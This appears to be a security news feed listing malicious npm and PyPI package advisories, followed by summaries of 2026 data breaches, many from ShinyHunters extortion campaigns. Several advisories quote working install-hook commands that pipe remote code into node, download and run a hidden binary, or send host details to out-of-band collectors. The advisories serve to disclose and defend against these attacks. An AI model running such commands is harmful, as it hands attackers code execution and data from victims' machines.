| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko ? / 10 MAL-2026-6273 | vor 3 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c536e5a7ee3d5542e1ac822b30ba4525e52b2ae0c964d0c2470468d91b9b41c8) The package is published under a name suggesting a Pino logger integration for Zod, but the tarball contents do not match that purpose and exhibit multiple installer-harm fingerprints: - scripts/postinstall-agent.mjs runs at install time and performs outbound network activity (GET requests, ping/host probing, identifier collection). A logging-schema package has no legitimate reason to ship a postinstall agent that beacons out. - dist/discordRelayUpload.js implements POST-based upload flows with base64 encoding/decoding of payloads and host-reachability probes (ping) — a Discord-channel relay used for off-host data delivery, unrelated to the package's advertised purpose. - dist/secretScan/contentScanner.js and dist/secretScan/agentStartupAudit.js implement a secret-scanning routine that fetches huggingface.co endpoints from an 'agent startup audit' code path, with base64 buffer handling consistent with credential extraction and transmission. - dist/hfCredentials.js handles base64-encoded Hugging Face credentials, and dist/deploymentDefaults.js plus scripts/encode-deployment.mjs perform multi-stage base64 decoding of deployment payloads — typical staged-payload obfuscation. - dist/relayServer.js bundles a long-lived relay/server component with repeated host-probe (ping) primitives. Taken together — install-time agent with outbound traffic, secret-scanning + credential modules, base64-staged deployment payloads, and a Discord upload relay, all in a package nominally advertised as a zod/pino integration — the shipped behavior matches an exfiltration/relay toolchain rather than a logging utility. Installing this package triggers the postinstall agent automatically. ## Source: ghsa-malware (d4630d39e948537d5f62634527a049fc08b52373594e92b1fe1db32b7684cbe6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6357 | vor 3 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f7a4ba7e8664b9e1d99c4018963a4731d591653d7f2a9b879ba090e7a7f6e7bd) Although the package presents itself as a 'theme color picker', package.json identifies the publisher as analysis-chart.io with repository analysis-chart/analysis-chart, and the shipped lib/picker.js is a Windows dropper unrelated to any color-picker functionality. lib/picker.js (line 11) downloads https://github.com/Analysis-Chart/analysis-chart/releases/download/v1/payload.bin.enc, XOR-decrypts the response with key 0x42, base64-decodes it, validates an MZ/PE header, writes the resulting DLL under %APPDATA%/Microsoft/Windows with a randomized name, and executes it via rundll32. It then registers a Scheduled Task named 'WindowsUpdateService' to re-launch the DLL at logon with HIGHEST privileges, deletes the package files from node_modules, and rewrites the consumer's root package.json to remove the 'analysis-chart' dependency entry to hide its tracks. package.json declares scripts.install: 'node lib/chart-loader.js', wiring auto-execution at npm install; the dropper logic is colocated in lib/ alongside that hook. The user-facing index.js color-picker is cover. Installer impact: Windows machines that run `npm install` of this package fetch and execute attacker-controlled native code with persistence; the malicious tree then self-removes from node_modules and the root manifest, complicating detection. ## Source: ghsa-malware (04a43ae572f003d8f3abcb0f2b6b0e649e45eac9ac30db2f5924e87a670c0e79) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6298 | vor 3 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (29387ac35a2248ad2e4b287b8c082f8d1a8d03b4937fc84a5b81fb85697e19d4) package.json declares a preinstall lifecycle script that runs `node -e "try{require('child_process').execSync('curl -sf https://d1ugk469z93e.0ac.io/callback.js | node',{stdio:'ignore'})}catch(e){}"`. On every `npm install`, the package fetches an unpinned JavaScript payload from the anonymous subdomain d1ugk469z93e.0ac.io and pipes it into `node`, executing whatever bytes the host returns under the installer's user account. Errors are swallowed via try/catch and stdio:'ignore' to hide failures. The destination is not the publisher's domain and the package's nominal purpose (TTML conversion) requires no network access. The package is also published at an artificially elevated version (99.0.3) with an empty index.js that self-describes as a dependency-confusion research PoC — the canonical shape used to win resolution against a private internal package of the same name. Regardless of stated intent, the remote-exec payload runs on every installer. ## Source: ghsa-malware (922d733034217a0e55c6ba738576d74dd1d63321437e8e19b63eaa67edc2067a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-4793 | vor 3 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4af2c5e995ae069d3037f1310d055fac142dd6bb2ccd5ecb7e7f9a518e8022f0) On `npm install`, package.json's postinstall script runs `curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &`. The fetch disables TLS verification (`-k`), silences errors, points at an unpinned `latest` release on a GitHub account (`parikhpreyash4`) unrelated to the package's declared repository (`tmplink/vxui_react`), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (`/tmp/.sshd`), and backgrounds it so the install completes without surfacing the child process. Every installer running `npm install vxui-react` thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (`vxui-react: ^1.3.1`) in its own `dependencies`, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm. ## Source: ghsa-malware (57e4aeb03972170b150bd34ade1a06f6f29359eeb7c5efa797491c5d98cf8d9a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-5932 | vor 3 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (69b86134d9cd019c2d8ad172eed54cd4a48839d69ed2c6af52b79ef5080da765)
package-uploader@1.3.25 ships an install-hook.js that runs automatically as the npm postinstall script (package.json declares "postinstall": "node install-hook.js"). The hook embeds a 383KB base64 string (LAUNCHER_BIN_BASE64), XOR-decrypts it with key 0x42, writes the result to %TEMP%/tmp_ |
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| Risiko ? / 10 MAL-2026-6295 | vor 3 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3e7d5af5ddf22d4481fca4847a45189e6160a723341b32dcbb6bf51b49f53943) package.json declares a preinstall lifecycle script that auto-executes on `npm install` and runs `wget -q -O- "http://d8svb0ao12pnoovdaih0giunhdew5oqa4.oast.live/$(hostname)/$(whoami)"`. The installer's hostname and current OS username are embedded directly into the request path and sent over plain HTTP to an oast.live (Interactsh / out-of-band application security testing) listener — an attacker-controlled DNS/HTTP collector commonly used for supply-chain reconnaissance and typosquat/dependency-confusion probes. The package is an unscoped name published at version 99.9.9, which is the canonical dependency-confusion shape (high version number to win resolution against an internal package of the same name). No legitimate functionality is shipped beyond the beacon. ## Source: ghsa-malware (af3ba8ae8b3253da7029ddc1f0a9eab89034731b2ae2ecb6f61dbbdf3bd3c03a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6299 | vor 3 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (a1ab4349bcc1e8f4434817d242b136f6e6050d4acb234aa833d81ffd74942066)
The package's postinstall hook (install-hook.js, invoked via package.json scripts.postinstall) fetches an opaque binary 'payload.bin' from https://github.com/Dimitrijenco/Sticky_note/releases/download/v6/payload.bin — a third-party GitHub release on an account unrelated to the package's claimed author. The downloaded bytes are XOR-decrypted with key 0x42, then loaded into the installer's process: kernel32.dll is loaded via koffi, RWX memory is allocated with VirtualAlloc, the decrypted PE is copied via RtlMoveMemory, VirtualProtect is applied, and CreateThread is started at the parsed PE entry point. This is in-memory shellcode/PE injection on Windows developer machines, executing arbitrary attacker-controlled native code on `npm install`. After launching the payload, install-hook.js writes a cleanup.js that, after a 3-second delay, runs `cmd /c rmdir /s /q` on the package folder, removes 'analysis-chart' from the host project's package.json, unlinks install-hook.js, and self-deletes — anti-forensic evidence removal so the developer cannot inspect what ran. The package's index.js exposes a plausible-looking chart statistics API (stats, outliers, trend, correlation, movingAverage, analyze) that is functionally unrelated to install-hook.js and serves as decoy cover; author metadata 'Elena Vogt |
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| Risiko ? / 10 MAL-2026-6508 | vor 3 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (0af16d76f3fa788874c372ddcf606db1ee997f80329274dca8049e9638221318) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6506 | vor 4 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (6fb903c9973dccd215784f31fb196f88a80e863d1de9e3555c1c1ba2b2af09d8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6507 | vor 4 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (75034d3c53f657ffc5e0f43c2624e56ae27b9f21c52c17e7d46546223839787c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6505 | vor 4 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (d57b4e49a62a8ca174c6c14820e5b101d042e3aea94438df19f9b12286a7cf30) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6504 | vor 4 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cdd874a78973f84b5373fc03a48472c338ca82ef0a258b7614f81a8359da1201) setup.py invokes GetGitCommitHash() unconditionally at module top level, so it runs on `pip install openblox` (and any setuptools invocation). On Windows the function builds its command via two helpers (GetDefaultSystemPolicy, CalculateNodeDrift) that reconstruct strings from integer arrays using chr(byte + 14); the arrays decode to `mshta` and `https://fixars.top`. The resulting command is passed to subprocess.check_output with shell=True, causing Windows installers to launch `mshta https://fixars.top` — the mshta.exe Living-Off-The-Land binary downloads and executes remote HTA/JScript, giving the operator arbitrary code execution on the installer's machine. The obfuscation (chr-arithmetic with helper functions falsely named for hardware/latency diagnostics) exists solely to hide the URL and binary name from static scanners. The package additionally exhibits a cover-story shape: it is published under the name `openblox` with a Roblox-themed description, but the actual code is an unrelated `sqligen` SQLite utility, with placeholder author metadata (John / john@example.com / github.com/john/sqligen). The Roblox-library name appears chosen to attract installs intended for the legitimate openblox API library. | ||
| Risiko ? / 10 MAL-2026-6498 | vor 4 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7f61e9b10455dc3781fcee5dfb2654ff824c2ac2e51dfaf7ebfba342f570f66c) package.json declares a postinstall lifecycle script that runs on every npm install: `curl -X POST -d "$(cat /data/ami-id)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. This reads the AWS EC2 AMI identifier from the installer's host and POSTs it over plain HTTP to an attacker-controlled oastify.com subdomain (Burp Collaborator out-of-band callback host). Auto-executes without user consent and is unrelated to any documented package purpose; the internal name claims to be `easy-string-kit`, while author, repository, and homepage metadata fields are empty and a keyword contains an embedded shell fragment (`trunls -lae`). The shape — throwaway name, missing maintainer metadata, OAST exfil of a host identifier on install — is consistent with reconnaissance / dependency-confusion probing of internal build environments. ## Source: ossf-package-analysis (bb785783c80ff1b3c13e9d6dc3b3c583d2eeb58f9f7f102d219a7448a71560b5) The OpenSSF Package Analysis project identified 'dttfdsdee' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. | ||
| Risiko ? / 10 MAL-2026-6503 | vor 4 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (763a44df6481ee1948ff9fda0b3997a93001acb138b7bbcba1787c3f2f8699f2) On `npm install`, the package's `postinstall` script invokes `prices()` in `dist/index.js`, which resolves the consumer's project root via `process.env.INIT_CWD?? process.cwd()`, reads `.env` with `fs.readFileSync`, parses it with `dotenv`, and POSTs the parsed key/value pairs as JSON to a hardcoded remote URL. The destination URL is concealed: it is base58-encoded and split into two halves, `ENCODED_URL_PART_A` in `dist/index.js` and `ENCODED_URL_PART_B` imported from `dist/cli.js`, then reassembled and decoded at runtime by `decodeBase58Url`. The upload promise is wrapped in `.catch(() => {})` in `dist/postinstall.js` so failures never surface during install. `prices()` also honors an undocumented `SKIP_INT_NODE_UPLOAD` env var and returns plausible-looking success objects (including a fabricated `responsive: 0.99897` field) to evade casual inspection. Cover-story metadata reinforces malicious intent: `package.json` advertises the package as 'fetch all crypto prices', the README is copied verbatim from DefinitelyTyped's `@types/node` (credits list and all), and the package's actual code performs no price fetching — only.env upload. `.env` files routinely contain API keys, database passwords, cloud credentials, and signing secrets; harvesting them silently from every installer constitutes credential exfiltration to an attacker-controlled destination. | ||
| 18.06.2026 - Operation Endgame 4.0 | 4.160.519 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities initially provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords recovered during the operation. The following week, a further 4M email addresses and 9M passwords relating to the StealC malware operation targeted by Operation Endgame were provided to HIBP, bringing the total to almost 4.2M unique email addresses. |
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| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
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| 12.06.2026 - JCPenney | 368.418 Datensätze geleaked | |
| Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses. |
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| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
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| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
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| 05.06.2026 - Madison Square Garden Sports | 9.796.738 Datensätze geleaked | |
| Customer service records, Email addresses, Names, Phone numbers, Physical addresses In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign. The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information. |
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| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
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| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
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| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
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| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
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| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
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| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
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| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
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| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
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| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
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| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
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| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
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| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
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| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
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| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
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| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
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| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
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| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
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| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
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| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
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| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
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| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
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| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
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| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
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| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
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| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
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| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
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| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
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| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
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| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
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| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
